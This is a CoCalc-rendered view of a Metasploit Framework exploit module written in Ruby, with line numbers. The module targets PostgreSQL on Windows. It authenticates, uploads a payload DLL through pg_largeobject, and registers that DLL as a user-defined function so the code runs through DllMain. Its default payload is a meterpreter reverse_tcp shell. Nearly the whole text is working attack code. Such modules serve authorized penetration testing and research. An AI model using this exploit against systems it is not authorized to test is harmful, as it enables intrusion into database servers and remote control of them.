CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/postgres/postgres_payload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Postgres
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
include Msf::OptionalSession::PostgreSQL
14
15
# Creates an instance of this module.
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
19
'Description' => %q{
20
On default Microsoft Windows installations of PostgreSQL the postgres
21
service account may write to the current directory (which is usually
22
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
23
major.minor version of PostgreSQL). UDF DLL's may be sourced from
24
there as well.
25
26
This module uploads a Windows DLL file via the pg_largeobject method
27
of binary injection and creates a UDF (user defined function) from
28
that DLL. Because the payload is run from DllMain, it does not need to
29
conform to specific Postgres API versions.
30
},
31
'Author' =>
32
[
33
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
34
'todb' # this Metasploit module
35
],
36
'License' => MSF_LICENSE,
37
'References' =>
38
[
39
[ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
40
],
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
[ 'Windows x86',
45
{
46
'Arch' => ARCH_X86,
47
'DefaultOptions' => {
48
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
49
}
50
}
51
],
52
[ 'Windows x64',
53
{
54
'Arch' => ARCH_X64,
55
'DefaultOptions' => {
56
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
57
}
58
}
59
],
60
],
61
'DefaultTarget' => 0,
62
'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
63
))
64
65
deregister_options('SQL', 'RETURN_ROWSET')
66
end
67
68
def check
69
version = postgres_fingerprint
70
71
if version[:auth]
72
print_good "Authentication successful. Version: #{version}"
73
return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
74
else
75
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
76
return CheckCode::Safe
77
end
78
end
79
80
def exploit
81
self.postgres_conn = session.client if session
82
version = do_login(username,password,database)
83
case version
84
when :noauth; print_error "Authentication failed"; return
85
when :noconn; print_error "Connection failed"; return
86
else
87
print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
88
end
89
90
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
91
register_files_for_cleanup(fname)
92
93
unless postgres_upload_binary_data(generate_payload_dll, fname)
94
print_error "Could not upload the UDF DLL"
95
return
96
end
97
98
print_status "Uploaded as #{fname}"
99
begin
100
func_name = Rex::Text.rand_text_alpha(10)
101
postgres_query(
102
"create or replace function pg_temp.#{func_name}()"+
103
" returns void as '#{fname}','#{func_name}'"+
104
" language c strict immutable"
105
)
106
rescue RuntimeError => e
107
print_error "Failed to create UDF function: #{e.class}: #{e}"
108
end
109
postgres_logout if @postgres_conn && session.blank?
110
111
end
112
113
# Authenticate to the postgres server.
114
#
115
# Returns the version from #postgres_fingerprint
116
def do_login(user=nil,pass=nil,database=nil)
117
begin
118
password = pass || postgres_password
119
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
120
result = postgres_fingerprint(
121
:db => database,
122
:username => user,
123
:password => password
124
)
125
if result[:auth]
126
report_service(
127
:host => postgres_conn.peerhost,
128
:port => postgres_conn.peerport,
129
:name => "postgres",
130
:info => result.values.first
131
)
132
return result[:auth]
133
else
134
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
135
return :noauth
136
end
137
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
138
return :noconn
139
end
140
end
141
142
143
end
144
145